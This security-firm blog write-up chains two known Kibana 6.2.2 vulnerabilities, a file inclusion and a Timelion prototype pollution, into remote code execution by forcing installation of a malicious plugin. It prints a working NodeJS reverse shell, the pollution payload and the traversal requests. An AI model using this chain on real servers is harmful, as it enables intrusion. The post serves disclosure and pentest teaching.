Pwning an outdated Kibana with not so sad vulnerabilities

Written by Gaetan Ferry - 12/12/2019 - in Pentest - Download
During a recent engagement, we came across an old outdated instance of the
Kibana software. It was affected by two severe public vulnerabilities (CVE-2018-17246 and CVE-2019-7609).

However, in the context, none of them was readily exploitable. In this article,
we describe how we managed to takeover the software all the same, with a new
exploitation technique.

Don't expect any 0-dayz dropping in the following, only a new way to exploit two already known issues.

The situation and public issues

The Kibana instance we encountered was in version 6.2.2. It is nearly two years old and the last stable is currently 7.5.0. The release beat is pretty fast and missing a few can leave you open to a world of vulnerabilities.

In the current case, the version is affected by CVE-2018-17246 and CVE-2019-7609, two severe issues with respective CVSS scoring of 7.5 and 10.0. At first sight, this promises to be an easy intrusion. Especially considering that both issues have been precisely described and POCs are available for both.

Let's quickly review those vulnerabilities.

CVE-2018-17246

This is kind of a NodeJS LFI 101. First released by CyberArk teams in this blog entry, it is easy as 123. Kibana exposes a /api/console/api_server endpoint accepting an apis parameter. Just pass a ../../../../../whatever and you are good to go.

But if you peruse the original blog entry, you will read the following conclusion:

We demonstrated how other services on the server with file upload functionality can enable an attacker to upload code – eliminating the need to run code that was on the server disk first and allowing remote code execution capabilities.

Obviously, we did not have access to such a feature. No way we can plant a NodeJS reverse shell on the host for execution. Bitter failure.

CVE-2019-7609

This issue is a bit trickier. It is a prototype pollution which can be triggered in the Timelion feature of Kibana. It was originally disclosed by Michał Bentkowski in this blog entry. If you never have encountered a prototype pollution or have no idea what this is dealing with, I can only invite you to follow Michał's very good presentation, available here.

The core concept relies on creating a property on the JavaScript's Object class with an arbitrary name and value. It is then necessary to find a proper piece of code that uses a property with this name at a time when it is not created. This piece of code can be seen as a gadget.

A trivial gadget that could be used to exploit the prototype pollution would be:

if (blah.code) {
    eval(blah.code)
}

In that case, we would poison Object's prototype with a code attribute, put some JS code in it and call the gadget, one way or another.

Finding good reachable gadgets is more easily said than done. Michał's original presentation described one in the Canvas component of Kibana. He managed to get code execution with it.

But guess what? The Canvas plugin was not available on our target. Gadget gone. Vulnerability gone. Bitter failure, chapter 2, the return.

Exploit now!

Putting things together

Sit back, take a breath. We have an old Kibana with two severe issues, we should be able to do something with it.

Indeed, thinking about it a little, the only reason why we cannot exploit the prototype pollution is because we do not have a valid gadget to call. First thing we thought about: "Hey let's read some code and find another gadget". This promised to be a hard time, particularly considering the complexity of the original gadget.

But we also have CVE-2018-17246 which allows us to access any NodeJS file directly without the need to have it exposed by the application itself. This greatly increases the amount of code eligible for gadget lookup. We can even expect that most files that are not supposed to be accessed directly will make use of uninitialised properties.

Hunting for a new gadget

Kibana root installation location contains a few directories:

$ ls -l /usr/share/kibana/
total 1192
drwxr-xr-x   2 kibana kibana    4096 Feb 16  2018 bin
drwxrwxr-x   1 kibana kibana    4096 Feb 16  2018 config
drwxrwxr-x   1 kibana kibana    4096 Dec  9 10:58 data
drwxrwxr-x   6 kibana kibana    4096 Feb 16  2018 node
drwxrwxr-x 906 kibana kibana   36864 Feb 16  2018 node_modules
drwxrwxr-x   1 kibana kibana    4096 Feb 16  2018 optimize
-rw-rw-r--   1 kibana kibana     721 Feb 16  2018 package.json
drwxrwxr-x   1 kibana kibana    4096 Dec 10 10:59 plugins
drwxr-xr-x  15 kibana kibana    4096 Feb 16  2018 src
drwxrwxr-x   5 kibana kibana    4096 Feb 16  2018 ui_framework
drwxr-xr-x   2 kibana kibana    4096 Feb 16  2018 webpackShims

8 of them share out 75 117 NodeJS files.

$ find . -name '*.js' | cut -d/ -f 1,2 | sort -u
./data
./node
./node_modules
./optimize
./plugins
./src
./ui_framework
./webpackShims

$ find . -name '*.js' | wc -l
75117

This represents a huge amount of code to review. But something described in the original article about CVE-2018-17246 can help sorting things out quickly.

Our search produced two modules that can close Kibana process and cause a denial of service. The first module is {KIBANA_PATH}/src/docs/docs_repo.js. To load the second module, require can refer to three paths:

  • {KIBANA_PATH}/src/cli_plugin
  • {KIBANA_PATH}/src/cli_plugin/index.js
  • {KIBANA_PATH}/src/cli_plugin/cli.js

This seems like a particularly nice target to review. As its name describes, the cli_plugin deals with plugin installation. A good destruction potential. Indeed, when you require the {KIBANA_PATH}/src/cli_plugin/cli.js NodeJS file you end up with an interesting output:

bash-4.2$ node/bin/node 
> require('./src/cli_plugin/')

  Usage: bin/kibana-plugin [command] [options]

  The Kibana plugin manager enables you to install and remove plugins that provide additional functionality to Kibana

  Commands:
    list  [options]                 list installed plugins
    install  [options] <plugin/url> install a plugin
    remove  [options] <plugin>      remove a plugin
    help  <command>                 get the help for a specific command

It happens that the kibana-plugin tool is in fact called. Time to read the code and check for gadgets.

import _ from 'lodash';
import { pkg } from '../utils';
import Command from '../cli/command';
import listCommand from './list';
import installCommand from './install';
import removeCommand from './remove';

const argv = process.env.kbnWorkerArgv ? JSON.parse(process.env.kbnWorkerArgv) : process.argv.slice();
const program = new Command('bin/kibana-plugin');

In terms of gadgets, this file offers a pretty nice one. In fact, the first meaningful line of code overrides the command arguments, argv, with a value extracted from the environment. Chances are the namely kbnWorkerArgv attribute won't be defined when we include the file using the local file inclusion.

$ node/bin/node
> process.env.kbnWorkerArgv = '["a", "a", "yolo!"]'
'["a", "a", "yolo!"]'
> require('./src/cli_plugin/')

 ERROR  unknown command yolo!

  Usage: bin/kibana-plugin [command] [options]

Here we are. The kbnWorkerArgv is used to control the arguments passed to the kibana-plugin tool. Poisoning it, we should be able to install an arbitrary plugin.

Exploitation

What do we know? We have a nice gadget that allows us to install a plugin on the Kibana instance. We have the prototype pollution issue to set up the payload and also the local file inclusion to reach the aforementioned gadget.

What we need is only to write and serve a plugin to be planted on the host.

Writing a plugin is no real challenge. Only two files are needed, a package.json describing the plugin:

{ 
   "name": "synacktiv",
   "version":"6.2.2"
}

and an index.js with the code that will be run at plugin installation and on each load. For this one, you can just reuse the reverse shell payload from CVE-2018-17246 or go with whatever you want. We propose a slightly modified version of the reverse shell that did not seem compliant with our exact version.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client = client.ref();
    client.connect(1337, "192.168.10.10", function(){
        client.pipe(sh.stdin);
    });

    sh.stdout.on('data', (data) => {
      client.write(data);
    });
    sh.stderr.on('data', (data) => {
      client.write(data);
    });

    client.on('close', function() {
        console.log('Connection closed', client.destroyed);
    });

    return /a/;
})();

This is then packaged in a zip file with this directory tree:

$ find ./kibana
./kibana
./kibana/shell
./kibana/shell/index.js
./kibana/shell/package.json

$ zip -r test.zip kibana

This file is then served over HTTP with any tool you want.

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

At this time, everything is ready for the exploitation. We trigger the prototype pollution with this payload:

.es(*).props(label.__proto__.kbnWorkerArgv='["node","cli","install","http://192.168.10.10:8000/test.zip"]')
Timelion

 

and include the gadget from the cli_plugin files.

GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../cli_plugin/cli.js HTTP/1.1
Host: 192.168.54.217:5601

These steps should, at the end, trigger the download and installation of our malicious plugin. And this is actually what happens

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.54.217 - - [10/Dec/2019 13:37:42] "GET /test.zip HTTP/1.1" 200 -
$ netcat -kvlp 1337
Listening on [0.0.0.0] (family 2, port 1337)
Connection from some-host-in-the.cloud.nope 54904 received!
kibana@68b329da9893:/$ id
uid=1002(kibana) gid=1002(kibana) groups=1002(kibana)

Note, that, from now on, if you loose your shell, you can still recover it by directly exploiting the LFI vulnerability. Indeed, the index.js file we wrote for our malicious plugin is now dropped in Kibana's installation directory. You can then include it directly.

GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../plugins/synacktiv/index.js HTTP/1.1

That's all folks!

Conclusion

What saved us during this assessment is really the little time we took to just look a bit further than just the CVE identifiers and published POCs. If there is a lesson to learn from this adventure, it is really that you should not throw in the towel until you have explored all the possibilities offered to you. In particular when your pentester nose lets you smell that particular vulnerability smell.